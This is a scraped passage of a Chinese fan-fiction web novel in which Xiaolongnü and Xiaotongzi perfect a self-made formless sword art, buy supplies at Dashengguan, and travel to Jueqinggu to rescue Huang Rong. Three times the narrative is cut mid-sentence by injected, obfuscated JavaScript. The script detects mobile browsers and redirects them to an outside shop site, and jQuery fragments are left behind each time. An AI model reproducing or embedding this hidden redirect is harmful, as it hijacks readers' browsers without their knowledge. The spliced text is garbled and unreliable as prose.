小龙女轻轻拍了拍小童子的头,说:“吃完米我们再下山采购吧?这次多买一点菜,腌肉和干菜可以多买点,古墓好像能放蛮久的。” 一说起腌肉,小童子觉得嘴里又充满了肉香,她认同这个说法,郑重地点了点头:“好,这次多买一点!还有点心也多买一点!” 小龙女看着小童子又精神了起来,样子十分可爱,不自觉地伸手捏了捏她脸,触感软软地,难怪师姐当年那么喜欢捏小童子。 从那日起,两人能吃的便只剩下米。 古墓里的饭菜变得更简单了,早晨白粥,中午白粥,晚上仍是白粥。米粒在锅里翻滚,煮开后变得软烂,汤水淡白,盛进碗里几乎没有别的颜色。尝到嘴里,没有菜香,也没有肉香,多吃几天,两人慢慢习惯了这唯一的米香。 于是两人每日喝白粥,依然精神抖擞地去练武,日子便在这样单调而安静的重复里往前走。 白日的功课结束后,两人照旧进入晚课。 多日琢磨下来,她们对于无形剑如何破体,已经有了不少心得。 无形剑若想从掌心之外的地方发出,便不能只想着“破体”,要先在想要出剑之处开一道门。 这道门不是凭空出现的,最初只能以己身内力一点点去挖,像在坚硬石地里挖出一道浅沟。沟太浅,水流一到便散;沟深一些,内力才能沿着它反复往来。日久天长,浅沟被冲刷得宽了、深了,便成了可以运送内力的经脉。经脉如江河,内力时时流转其间,将丹田中的内力送往肩上、足下。那些地方得内力反复温养,久而久之,才会慢慢铸出一扇能够承接锋芒的门。 手掌上的门也是如此。 她们从小练剑、出掌,内力不知多少次从丹田一路行至掌心。那条路早被长年累月冲刷得宽而深,掌心那扇门也早被内力铸成了,所以掌心剑才能出得自然。如今小龙女要做的,不过是把这件事换到肩上,再从头做一遍。 等门成形后,便不必再从丹田远远催来一整股内力,只需从最近的经脉中迅速取出一缕,将其凝成锋芒,再由门中射出,如此无形剑便成。若周身经脉皆能开门,哪怕是站立不动,处处都可生出剑锋。 今日也如平时一般,两人分站两处,先各自琢磨自己熟练的那部分。 石室里的黑暗对她们而言像一层温柔的布,把多余的东西都遮住,只留下呼吸,以及身体里那一条条熟悉的经脉。 小童子站在石室中央,赤足踩在清冷的石砖上。她闭上眼,心神沉入足心附近那一段经脉,顺着其中缓缓流动的内力,一次次尝试从中牵出一缕,再将它凝成锋芒。 另一边,小龙女站在石墙前,从丹田引出一股又一股内力,让它沿背脊、肩胛、肩井一路往肩侧去。她不是硬要把内力撞出身体,而是要用自己的内力,在肩上慢慢开出一道本来没有的门。 两人一次次地失败又一次次地重来。 失败的次数太多,两人已经不再因为失败而沮丧。最初时,小童子还会皱眉;小龙女也会在内力滞涩时静立一会。可到如今,失败已经像吃饭喝水一样普通,无法让两人生出别样的情绪。 不对,便重来;不行,便再试。 就在这样一次又一次的失败中,小童子心念一动,便从足下最近的一段经脉里抽出一缕内力,自然而然地凝成锋芒,且没有惊动身体其他地方的内力。 小龙女只是专注地再一次调动丹田中那一股内力,让它沿着最近的路线一路冲刷、铺展,直达肩膀,再以内力构筑出一道如同掌心一般的门。这一次,门成形了。 小童子和小龙女同时一愣,没想到竟然就这样成功了。这种情形就好像日日以细流冲刷石头,起初毫无动静,久而久之,石头终于被水流冲出缝隙,水便自然而然地淌了过去。 两人几乎同时看向对方,眼中都亮了起来。 “龙儿!我成功了!” “门成了!” 两句话几乎撞在一处,落入彼此耳中时,两人都是一怔,随即又同时相视而笑。 两人向彼此走去,心中虽然欢喜,却也明白,最要紧的关头才刚刚到来。各自负责的部分已经成功,接下来便是最后的一步:将两部分合二为一,让无形剑真正从肩上破体而出。 两人掌心相对,十指交握,双双闭目凝神。 小龙女和小童子的内力在掌心交握的一瞬间,如江河交汇。两人的内力在掌心处彼此渗透,又缓缓游入对方经脉,一圈又一圈,如螺旋盘旋而下,慢慢深入双方丹田深处。 就在某一刹那,两人不由自主地睁开双眼,四目相对那一瞬,仿佛身体与灵魂都交织在了一处。 两人的思绪越沉越深,内力越转越细。到了后来,连“我要出剑”这一念都淡了。 恍惚间,两人竟同时进入一种玄而又玄的境界。 她们好似连思绪与内力都不再单独属于自身,而是与对方共生共鸣,融为一体。 下一刻,连人与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826808|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 物的界限也开始消失,仿佛两人与天地万物合为一体。 石室里的冷、石壁中积年的湿、寒潭远处的滴水、两人极轻的呼吸,都像一同融入了这片寂静。 好似身体不再是肉体凡胎,又似举手投足之间便能搅动风云,化为世间万物。自己不再存在,却又同时存在于石中、水中、风中,存在于每一寸能被内力触及的空处。 就在这种近乎神游天外的感觉里,两人各自的丹田深处,竟于天地间生出一缕金色内力。这缕金色内力只是一闪而现,便沉入丹田更深处,两人并未细察。 下一秒,“出剑”的念头重新回落两人脑海。 小龙女催动经脉,内力如江河奔涌;小童子自她新门近处牵出一缕交融内力,凝作锋芒。两人心意相合,便如河水载舟,推着那道锋芒沿肩边经脉一路奔行,化作星光,冲出肩门。 嚓! 一声细响,锋芒切入石壁的刹那,也将两人从那种玄幻感觉里拉回当下。 小龙女和小童子回过神来,顺着声响看去,只见墙上多了一个新的孔洞。那孔洞比掌心剑打出的痕迹浅许多,也窄许多,四周甚至没有半点崩裂,可它确确实实就在那里。 两人都静了片刻。 “龙儿!”小童子猛地抱住小龙女,将她抱起来转了一圈,“成功了!我们成功了!” 小龙女被她抱起时,白衣在半空轻轻一旋。她也很开心,平日里清冷的眉眼都软了下来,伸手搂住小童子的脖子,声音里带着很浅却很明朗的笑意:“童儿,我们真的成功了。” “好耶!好耶!”小童子抱着小龙女转了几圈,终于将人放下,又一把拉住她的手,欢快得如同孩童,牵着小龙女绕着石室跑了一圈又一圈。小龙女任她拉着,唇角弯起,也和她一起沉浸在这份快乐里。 这种感觉太纯粹、太快乐!不是因为现在她们便武功天下第一,也不是因为这一招已经能上阵杀敌。事实上,方才那一道无形剑威力还很小,切出的口子不大,也不深,若真遇上高手,未必能派上大用。 可这是她们自己开创出来的武功,不是石壁图上原有的剑招,不是师父传下的心法,也不是旁人教给她们的秘笈。 它从掌心剑而来,又不仅仅是掌心剑;从玉女心经而来,却也不是玉女心经。它是从无数次失败、无数次内观、无数锅白粥之后的晚课里,一点点生出来的。 它还很小,很稚嫩,可它完完全全属于她们。 这种自创的、完全属于自己的珍贵,让两个将近十九岁的孩子心中生出一种巨大的欢喜。那是在黑暗中摸索了许久许久,终于用自己的手,在石壁上凿开了一点光。 等这股巨大的狂喜慢慢平息下来,两人才重新安静下来。 小童子仍忍不住去看那道细痕,看一眼便笑一下。小龙女也数次看向石墙上的孔洞,微微笑起。 两人伸出手,又一次掌心相贴,接下来不是庆祝,而是复盘。她俩以内力互相演绎:一人如何引河,一人如何凝舟,又如何合力将锋芒送出肩门。 两股内力在掌心相遇,彼此像是在带对方走过一段刚刚修好的山路。 路还窄,门还小,可路已经通了,门也已经开了。 她们反复推演许久,让对方熟悉自己那部分内力究竟是如何运作的。 接着,两人又再次分开,开始练习对方的路数。两人合力发出无形剑,只是为了节省钻研时间;真正要做到的,是让自己单独一人,也能将无形剑从肩上、足下,或身体其他地方发出。 石室再次安静下来,钻研也继续了下去。 56.出门采购 两人终于能各自从肩上发出无形剑了,至于米缸见底,则是第二日清晨才发现的事。 这事说来很巧,像是老天把饭食和武功一道算好了。若再早几日,她们还只能合力将锋芒送出肩,单独施展时总差一线。若再晚一日,古墓里便只剩清水和玉峰浆可喝。 好在这一日晚课,小童子凝神片刻,右肩先是一轻,随即有一道极淡的锋芒自肩头斜斜掠出,落在石壁上,只留下一线细痕。小龙女站在她身后不远处,衣袖微动,左肩处也有无形剑意透出,轻轻一折,竟在离体之后绕了半寸弧光,那是她把金轮圆意融了进去。 锋芒仍不算盛,若与真剑硬碰,多半还要吃亏。可它胜在无形无声,又能自肩头发出,不必抬手,不必转腕,近身之间忽然一剑,便已有许多大有可为之处。 至于足下和周身其他地方的门,还要以后慢慢去开。眼下肩门已成,路也已经通了,剩下的便是反复温养,反复熟练。 石室里新添了几道细痕,那些痕迹极细,若不凑近看,几乎看不出来。小童子牵着小龙女一同去看墙上那些细痕,眼里都带着满足,仿佛看见的不是几道浅浅剑痕,而是一门新武功终于落了地。 第二日清晨,她俩照旧去厨房做早饭。小童子揭开米缸盖子,低头一看,发现米缸里空得很彻底。 小童子看着缸底空空如也,道:“武功练成得正好,再晚一点,便要饿着练了。” 小龙女道:“饿着练不好,若还没练成,也该先出门买食物,回来再练。” 小童子笑笑,道:“可是这么重要的时候,中途被打断,心里总是不太舒服。” 小龙女明白,伸手牵住她,将她的手拢在掌心,说:“我明白,还好无形剑已经练成,我们出门吧。” 一经决定,两人便开始准备出门。小龙女去取银子,小童子去取剑。银子用布包好,贴身放进怀里;两柄剑一人一把,各自握在手中。小童子又想起沈长风教过的话,便把那几枚小银子分出一些,另放在一处,免得买包子时还要临街翻找。 东西收拾妥当,她们把古墓里该关的石门一一关好,机关都检查了一遍。 出门前,小龙女回头看了一眼甬道深处。古墓安静如常,石壁潮冷,空气里似乎还有一股若隐若现的米香味。 两人并肩走出古墓,晨光刚落到终南山上,雾气还薄薄地缠在树间。 几个全真弟子站在墓门外十余丈处,正轮流诵读罪状。昨日贴在树上的檄文被露水打湿了一角,纸边卷起,风一吹便轻轻颤动。 为首那名弟子念得嗓子有些哑:“古墓派小龙女、小童子,杀我全真郝大通……” 他刚念到这里,声音忽然卡住。黑洞洞的墓门里,似乎有一点白色动了一下,先是一截衣角,然后是一道剑鞘。 那弟子浑身一僵,旁边的人还没反应过来,问道:“师兄,怎么不念了?” 那弟子脸色发白,嘴唇动了动,下一刻,他转身就跑。 其余几人愣了一瞬,回头看见古墓门里走出两道白衣身影,顿时魂都差点飞了。 “出来了!” “古墓的人出来了!” “快回去报信!” 他们跑得比来时快得多,经卷掉了一卷,檄文也被踩了一脚,几个人慌慌张张往重阳宫方向奔去,连头都不敢多回。 小童子站在墓门口,看着他们远去的背影:“他们跑什么?” 小龙女摇摇头:“不知道。” 小童子想了想,得出结论:“可能内急。” 小龙女没有去猜,没有在意那些人,道:“走吧。” 两人没有理会地上的经卷,也没有去看树上的檄文。她们听不见几个月来的诵读,自然也不知道全真教每日在墓外做了什么。此刻见那些道士跑了,只当他们有急事要回去。 最近全真六子并不在山上,重阳宫中,飞鸽很快被放出来。 近来蒙古人与汉人又起了冲突,山下消息纷乱。马钰去了山下安抚百姓,王处一与刘处玄往邻近道观调度人手,谭处端去处理一桩江湖纠纷,孙不二也带人查寻先前传出古墓宝藏谣言的源头。丘处机伤早已好全,不久前动身深入前方战场。 等消息一层层送到他们手中,小童子和小龙女早已离开终南山很久。 两人的轻功快得惊人,白衣掠过林间,只如两片被疾风托起的飞雪,转眼便消失在枝影深处。 两人原本想按照沈长风留下的附近住址找她买米,可是等站到山脚大路上时,问题来了。 路很宽,也很多。一条往东,一条往南,还有一条绕过终南山,不知通到哪里。 黄蓉教过她们洗米洗菜,沈长风教过她们辨识银子,可没人教过她们如何看路。 小童子站在路边,认真回想沈长风说过的话,“大胜关,襄阳,终南一带。” 小龙女道:“她确实说过这几个字,但是我们不知道怎么走。” 两人沉默了,如此情景好似又一次回到谈论鬼市当日。 远处官道上几道浅辙蜿蜒向前,路边野草沾着水汽,叶尖低低垂着,偶尔滴下一点清露。几只麻雀落在土路上啄食,见两人站着不动,歪头看了看,又扑棱棱飞走。 小童子终于道:“走上次走过的路吧。” 小龙女同意:“只能这样了。” 上次她们饿着肚子,从终南山一路走到大胜关。那一路并不轻松,可好歹走过一次。两人记性极好,尤其小龙女,路边哪处有歪树,哪处有断桥,哪处有一块像伏兽的山石,她都能记得。 于是两人沿着上次走过的方向飞掠而去,这一次不再像上次那样饿了几天,脚步发虚。现在两人内力充盈,又刚练成新武功,身法比从前更轻。 起初只是快,小童子足尖一点树梢,人便已掠出数丈。她原本以为只是内力比从前更深,脚下更稳。可掠过几片山林之后,她忽然察觉不对。 以前施展轻功,哪里要借力,便要调动全身经脉。丹田一提,气走周身,脚下再发力。那样也快,却像整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829472|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 张弓都要拉开,才能放出一箭。 如今不同,她脚尖点上枝头时,并不需要全身内力一同涌去。只要脚底极细的一点内力凝住,像无形小剑轻轻抵住枝梢,枝条还未真正弯下去,她的人已经借那一点反力飘了出去。 不是用力踩,是轻轻拨,像四两拨千斤。 小童子身在半空,忽然道:“龙儿,我们的内力,运行根基都变了。” 小龙女也正从旁边一片叶上掠过,那叶子只微微一沉,她的身形却已经飘到前方,白衣几乎没有惊动叶面上的露水:“嗯,内力似乎更自由了。” 小龙女说得很轻,却正是小童子心中所想。 以前内力像一条河,要用,便整条河都要动。如今却像分成了许多股细流,彼此还连着,却能各管一处。想用哪里的内力,便只调动哪里,不必再牵动全身。 脚底要借力,便只动脚底。肩头要转身,便只动肩头。腰背要卸风,便只动腰背那一线。全身经脉仍旧相连,却不必每一次都一齐奔涌。 如此一来,既省力,出手也更快。 小龙女轻轻一转身,避开前方横出的树枝。若是从前,她会以腰劲带动整个人转过去。如今只是肩侧一点内力微微一拨,身形便像被风轻轻推开,衣角从枝叶间擦过,半片叶子也没有碰落。 小童子看见,立刻跟着试,她足下一点,内力在脚底凝成极短极薄的一线,整个人斜斜掠上树冠,又在枝头未弯之前借力飞出。 太轻了,轻得像不是自己在用力,而是天地间到处都有可以借的一点力。 风可以借,树可以借,地面可以借,甚至转身时自己衣袖带起的一点气流,也可以借。 两人越走越快,却越走越不费力。若说从前赶路,是以内力托着身子一路飞掠;如今便像把内力拆成无数细小的手,轻轻推、轻轻拨、轻轻托,便能让身体去到该去的地方。 风从耳边掠过,山林、田野、村舍、河沟都在脚下远去。偶有行人抬头,只见两道白影掠过树梢,快得连身影都未曾看清,转眼便消失。 小童子落在一处山石上,回头看了看走过的路:“快了一倍。” 小龙女点头:“而且还不累。” 小童子很高兴:“以后出门买米能更快了。” 小龙女道:“是,以后在墓外逗留的时间更短了。” 两人对视一眼,都觉得这门新武功越发有用。 终南山到大胜关终究不近,两人白日赶路,夜里便在荒林中歇一歇。 小童子原本想省银子,不买吃的,只喝几口溪水继续走。小龙女不同意,说饿着轻功会慢。于是两人在路边小镇买了几个炊饼,又买了一壶热水,坐在镇外树下分着吃完。 炊饼很硬,但能顶饱。 又一日过午,大胜关远远在望,热闹的气氛已经来到眼前。 商旅往来,车马声不绝。街边有卖热茶,有卖糖人,还有挑着担子卖野货的。空气里混着人声、马声、茶香,以及酒肆门前飘出的酒香。 57.求救 两人循着记忆,找到了沈长风说过的沈记长风行。 铺面不算奢华,却很整洁。门口挂着一块深色木匾,上头刻着“沈记长风行”五个字。铺子里有人搬货,有人算账,院中停着两辆空车,墙边堆着麻绳、木箱、油布与几袋杂粮。 正在柜台后拨算盘的年轻伙计,抬头见到两人,立马就愣住。 这两位实在惹眼,在这满街灰布短褐、尘土扑面的世道里,她们一身白衣,眉眼间带着几分少年气,面容却清冷得很,一个貌胜少年郎,一个神似画中仙。 沈掌柜早就吩咐过,若有两个不懂世事、武功极高、长得极好看的白衣姑娘来买米,莫要多问,照价办事,好生招待。 伙计忙放下算盘:“二位可是童姑娘与龙姑娘?” 小童子和小龙女点头:“我们来买米,还需要买腌肉、青菜、干菜。” 伙计笑道:“沈掌柜交代过小的,二位想要多少?” 两人想都没想,就说:“很多。” “……”伙计又问,“很多是多少?” 小童子看向小龙女,小龙女也看向她,两人略微思索,要比上次沈长风帮她们买的两车还要多才行。 小童子开口:“米比上次两车还多。” 小龙女补充:“新鲜蔬菜和上次差不多,腌肉和干菜可以比上次多一倍。” 伙计道:“那便先按三车米张罗?再给你们配些豆子?豆子挺耐放的。腌肉、干菜、新鲜蔬菜我另外找人为你们采购,如何?” 小童子听见“耐放”,眼睛微亮,立马点头:“好,耐放的豆子我们要,但是要怎么做来吃?” 伙计解释:“清洗表面灰尘,炒肉吃,煮粥吃,都可。” 小龙女突然想起黄蓉说过炒菜需要油:“我们还需要油,用来炒菜。” 伙计回:“明白,我另外给你们搭配一些熬好的猪油。” 小龙女又想起小童子爱吃点心,也一并吩咐:“再帮我们买一些糕点。” 伙计记下:“没问题,我会喊跑腿为两位姑娘购买一些城中出名的糕点小吃。” 小童子见小龙女为自己买糕点,开心地抱住她,脸贴贴对方,声音欢快:“谢谢龙儿记得我的点心,我很开心。” 小龙女淡淡一笑,脸也贴了贴小童子。 伙计看到两位姑娘关系如此亲密,行为状似孩童,有些明白掌柜说的不谙世事。 三人商议过后,小龙女把银子放到柜台上,让小伙清点。 伙计验过银色,又仔细记账,派人去粮铺、车行和熟识的脚夫那里张罗。沈长风不在铺中,但她留过话,若这两位来了,照着老规矩办,账要写得清清楚楚,车队要安排稳妥。 伙计道:“二位姑娘,货物和车队要些时间才能配齐。若快,也要到明日一早。二位可先在附近歇脚,或去市集走走。” 小童子和小龙女同意,转身出门逛逛,看到有好吃的东西,也买来尝尝。 两人逛了一会,看到通往陆家庄的路,想起武林大会的事情。 小童子晃晃交握的手:“我们去陆家庄找黄蓉和郭靖如何?” 小龙女自然也觉得好,见了郭靖,可以切磋武功;见了黄蓉,可以请教做饭。这两样都是她们眼下需要的,她便顺势点头:“好,走吧。” 两人在街上缓缓漫步,往陆家庄去。 陆家庄比上一次来时安静许多,武林大会早已散去,庄外没有什么江湖人,庄内也没有擂台喧嚷。门前石狮子静静立着,院墙内树影扶疏,偶尔能听见下人洒扫庭院的声音。 守门的人见两名白衣佩剑的姑娘前来,神色一变,显然认出了她们。 那日武林大会上,这两人挑战郭靖、气退金轮法王、牵出全真教旧案,谁能忘?守门人不敢怠慢,忙进去通报。 不多时,陆家庄的管事出来相迎:“二位少年,不知来庄上有何事?” 小童子道:“找郭靖切磋。” 管事脚下一顿。 小龙女补了一句:“也找黄蓉请教。” 管事这才松了半口气:“郭大侠与郭夫人并不住在陆家庄,武林大会后,他们早已离开。” 小童子失望:“他们居然不在这?” “不在。” 小龙女问:“那他们在哪里?” 管事迟疑了一下,郭靖和黄蓉的落脚处虽不算什么秘闻,可江湖人行踪,总不好随口透露。偏偏眼前这两位与郭靖黄蓉有过交集,武功又高得吓人,若说不知道,怕也不妥。 正巧这时,庄内另一名仆从匆匆跑来,低声在管事耳边说了几句。 小龙女和小童子听力极好,隐约听见“求救”“信鸽”几个字。 管事脸色微变,忙向两人告了声失陪,又吩咐仆从先请她们入内奉茶,只说庄中有些急事,待料理妥当再来招待二位。 小童子和小龙女看着管事慌慌张张走了,没过一会儿,他又回到两人跟前,脸色比方才更不好,一副欲言又止的模样。 小童子问:“怎么了?” 管事犹豫片刻,道:“方才有信鸽来信,说郭夫人在绝情谷遇险,向江湖好友求救。陆家庄也有江湖事情纠缠,一时分不出人手。” 小童子和小龙女同时安静下来,她俩没有去分辨陆家庄分不出人手是真是假,她俩只注意到了黄蓉遇险。两人对视一眼,皆明白对方的心意。 小龙女和小童子道:“我们去救她。” 管事一愣,没想到两位少年这么热心。 小龙女道:“她教过我们洗米洗菜还有炒菜。” 管事:“……”这听起来实在不像救人的理由。 小童子补充:“还教过我们分辨肉质好坏,还在我肚子疼的时候照顾我。她是恩人,既然她有难,我们不能不管。” 这个理由倒是比前一个有点分量,管事看着两人清清冷冷的神色,明白她们并非玩笑。 他见过那日武林大会上两人的武功,也知道后来郭靖和黄蓉请她们一起吃过晚宴。这样看来,双方多少有些交情。若这两位愿意去绝情谷,说不定真能帮上大忙。 管事立刻道:“绝情谷地势偏僻,路不好找。二位若不识路,我可派一名轻功不错的小伙带路。” 小龙女和小童子都不认得去绝情谷的路,听他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832710|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 可以派人带路,便点头道谢。 管事转身吩咐,很快,一个二十来岁的青年被叫来。那青年身形矫捷,是陆家庄里专门跑远路送信的人,轻功自然不能同江湖顶尖高手相比,但在同辈中有些名气,又胜在熟路。 他见到小龙女和小童子,先行一礼:“二位姑娘,在下陆青,为二位带路。” 小童子看了看他的腿脚:“你跑得快吗?” 陆青被看得一愣,随即道:“在庄中还算快。” 小童子点头:“那你在前面使劲跑。” 小龙女补充:“若力竭,我们带你,你负责指路就好。” 陆青:“……” 他一时不知道这话是看不起他,还是好心。 两人已经转身出了陆家庄,陆青深吸一口气,展开轻功往前飞速掠去。 他刚想回头看看两位姑娘有没有跟上,眼角便见两道白影轻轻一晃,小龙女和小童子已经到了他左右。她俩步履轻得像不沾尘,甚至还有余闲互相牵手。 陆青眼角跳了跳,他忽然明白管事为何要反复交代,让自己只管指路,不必逞强。 这哪里是带路,这是被两位神仙般的姑娘提着命往前飞。 身后,陆家庄迅速远去,大胜关的喧嚣也被风甩在后面。 小龙女回头看了一眼沈记长风行的方向:“我们救完黄蓉,再回来拿米。” 小童子想了想,又道:“若救人耽误太久,米会不会被别人吃掉?” 陆青差点一脚踩空。 小龙女却认真道:“不会,银子已经给了。” 小童子想起沈长风的可靠,又放心了:“沈长风的店,应该不用担心。” 风从前方扑来,道路越走越偏,山势渐深,树影也越来越密。陆青在前方指路,心里却越来越惊。他几乎已经用尽全力,可每次回头,那两道白衣身影都安安静静跟在后面,连气息都不乱。 偶尔有飞鸟从林间扑面惊起,陆青收势不及,还会被身后的两位姑娘轻轻一提,带着避开。 他起初还想着不能丢陆家庄的脸,后来只剩一个念头:别跑错路,也别让自己在两位姑娘面前摔出去。 陆青已经开始喘气,身后两位姑娘却始终无声无息。若不是回头时总能看见她们不远不近地跟着,他几乎要以为人已经跟丢了。再看日头底下,两人的影子也好端端落在地上,他才勉强压下那点大白天见鬼的念头。 小童子和小龙女却只觉得这路很远,前面的人跑得慢,她们便在交握的手里互相试探,内力你来我往。 再往前跑过一段山林,连切磋也渐渐没了意思。小童子便去捏小龙女的指尖,又慢慢按过她掌心柔软处,指腹蹭过她指间薄茧。 小龙女指尖微微一缩,看了小童子一眼,把她的手指拢进掌中,不让她再乱碰。小童子却像找到了新乐趣,指尖轻轻一滑,又从她掌心里躲了出去。 陆青在前面跑得大汗淋漓,身后的两位却在无声无息地玩着追捕与躲避的指尖游戏。 暮色从天边慢慢落下来,远处云影压得低低,像一片灰蓝色的水。 绝情谷,还在前方更深处。 58.绝情谷 第四十六章绝情谷 陆青带路带得很辛苦。 他一直认为自己轻功很是不错,平日替庄中传密信,翻山越岭也算利落。可这一趟,他才知道什么叫真正的轻功。 小龙女和小童子跟在他身后,仿佛凌空飞翔一般。 他好不容易爬过好几座山,还没回头,那两人便一左一右站在他身旁,一脸“怎么不走了”的表情。 陆青被看得心里发虚,哪怕衣衫湿透,也不敢停下休息。 两位姑娘并不催他,但是!一旦他慢下来,名为小童子的姑娘就问他:“你还能跑吗?” 陆青咬牙说:“能。” 而清清冷冷的龙姑娘则道:“累了可以说。” 陆青不敢说累,他觉得自己若真说累,下一刻大概就会被这两位姑娘一左一右提起来走。那样虽省力,却未免太伤陆家庄的脸面。 三人急速走了一日,山势渐渐变得古怪起来。 起初还是寻常山路,松柏高立,乱石嶙峋,溪水从石缝间穿过,水声清冷。越往里走,山路越窄,树木也越来越密。那些树不像终南山上的松柏那样高直,反而枝叶繁茂,纠缠交错。 雾气也渐渐浓郁,不是古墓里的潮湿冷气,而是一种带着花香与草腥的湿热。风吹过时,枝叶沙沙,花瓣飘落于地,混着泥土与腐叶,踩上去又软又滑。 陆青停在一处狭窄山口前,低声道:“二位姑娘,前头便是绝情谷一带。信中所示,求救便是从此间传出。” 小童子和小龙女抬头看去,山口两侧峭壁相对,中间只留一线路径。石壁上攀着许多藤蔓,藤蔓上开着细小白花,远看柔软可爱,细看枝条上密密麻麻长着倒刺。 小龙女晃了晃和小童子交握的手:“小心别碰到花刺,会勾坏衣服。” 小童子低头看了看自己的衣袖,神情很是认真,点了点头:“我知道了,补衣服费时费力。” 小龙女点头,这正是她想表达的。 陆青无语凝噎,他一时不知道该说什么,原以为这两位姑娘是怕被刺伤,没想到是怕弄坏衣服。 陆青不知道,小龙女和小童子从前衣食都由孙婆婆照料。孙婆婆不在以后,古墓里虽然还有不少衣裳,可终究是穿一件少一件。小龙女会修补,却不喜欢把时间耗在针线之上;小童子更不喜欢,她宁可在古墓里光着身子,也不愿坐在灯下穿针引线。 所以在她们眼中,绝情谷的刺藤比寻常刀剑还麻烦。皮肉划伤尚可忍一忍,衣裳一破,回去便要耽误练功时间。 两人进入绝情谷时,便比遇到敌人还谨慎。 小童子用剑鞘轻轻拨开前方垂下的藤蔓,小龙女侧身从枝叶间掠过,白衣几乎贴着倒刺擦过,但没有被勾住半分。她们的轻功本就极好,在这样狭窄崎岖、枝叶交错的地方,反倒显出一种极细致的控制。 陆青在后面看得心惊,他一路躲刺躲得狼狈,袖口还是被划开了一道。 小童子回头看,皱眉:“你的衣服坏了。” “小口子,不碍事。”陆青低头看了看衣袖,问题不大,回家让母亲补一补就行。若不是前面两人谨慎躲避倒刺,他都想大大咧咧地走过去。 越往谷里走,景色越奇。绝情谷并不荒凉,相反,它美得近乎不真实。谷中有大片花林,花色或白或粉,层层叠叠开在枝头。可这美里处处藏着锋芒,花下、藤上、路旁灌木上,都长着细细的倒刺,就连一些看似柔软的草叶边缘,都如薄刃一般,擦过衣摆时发出粗糙的沙沙声响。 小童子看了一会儿,低声道:“这里不像能好好练剑的地方。” 小龙女道:“对,这些植物麻烦得很。” 陆青忍不住道:“二位姑娘,植物再多,也只是带有小刺,你俩还是小心些人吧,江湖中人,阴险狡诈,比倒刺麻烦多了。” 小龙女道:“好,我们先找黄蓉要紧。” “是。”陆青忙道,“郭夫人应在谷中,只是具体位置,信中并无详细告知。” 小童子突然凝神:“有声音。” 陆青一怔,凝神细听,却只听见风吹树响。 小龙女已经抬眼看向谷中一侧,风从花林里吹来,带着极细的兵刃相击声、人声。那声音被层层花木挡住,传到这里时已经很轻。 可小龙女和小童子耳力极好,立刻听出了方向。 “那边。”小童子话音刚落,人已经掠了出去。 小龙女立即跟上。 陆青咬牙追在后头,心中暗暗叫苦。 花林深处,声音越来越清晰。先是兵刃相击,然后是女子的嗤笑。再然后,是几道不同的喝声、掌声、衣袂破风声,混在一起,乱得像一团搅在一起的线。 小童子和小龙女掠上一处高大的花树,树干上刺如钉子。 小童子落脚时脚尖轻轻一点,树上的刺就掉落大片。小龙女落在她身旁,白衣在花影里微微一晃,连一片花瓣都没有碰落。 她们往下看,谷中一片空地上,果然有人正在混战。 一边是黄蓉与杨过,黄蓉衣衫已有些凌乱,脸色也比从前苍白,似乎身上有伤或内息不稳。她手中打狗棒起落灵动,仍旧能在险境中找到缝隙。 杨过在她身旁,身形比先前在古墓时长高了许多,眉眼间多了几分成年人的锐利,少了几分少年的稚气,虽满身狼狈,却也看得出已有几分武学功底。 另一边,是绝情谷的人。 那些人衣饰与中原武林大不相同,有人持刀,有人持剑,也有人用渔网似的奇门兵刃。为首的几人神色冷峻,招式诡怪,脚下步法却井然有序,显然是谷中训练有素的人手。 第三边,却是出乎意料的身影。 那人一身黄色道袍,手持拂尘,脸上仍是那种似笑非笑的神情。十年尘世行走,让她身上多了许多在古墓里没有的艳色与锋芒。她的拂尘一起一落,银丝如蛇,时而卷向黄蓉,时而扫开绝情谷弟子,转身之际又冷不防撒出几枚冰魄银针。 她的弟子跟在她身后,明显比从前谨慎许多。洪凌波身法不及师父,却也学了几分毒辣,出手时专挑旁人死穴。 三方混在一起,谁也不完全帮谁,谁也不完全放过谁。 黄蓉既要护着杨过,又要防道姑模样的人暗算,还要避绝情谷的人围攻。那美丽道姑似乎也不是真要替哪一边做事,她更像是借乱取利,谁露破绽,她便咬谁一口。绝情谷的人则想把闯入谷中的外人一并拿下,招式虽整齐,却被黄蓉的随机应变与另一方神出鬼没的毒针扰得阵脚不稳。 小童子原本是来救黄蓉的,可她看到黄衣之人的一瞬间,愣住了。小龙女顺着小童子的目光看去,也怔然,是师姐。 小童子自从接受李莫愁不会再回古墓以后,她已经很久没有想起这个人了。 不是刻意遗忘,是生活慢慢往前走了。 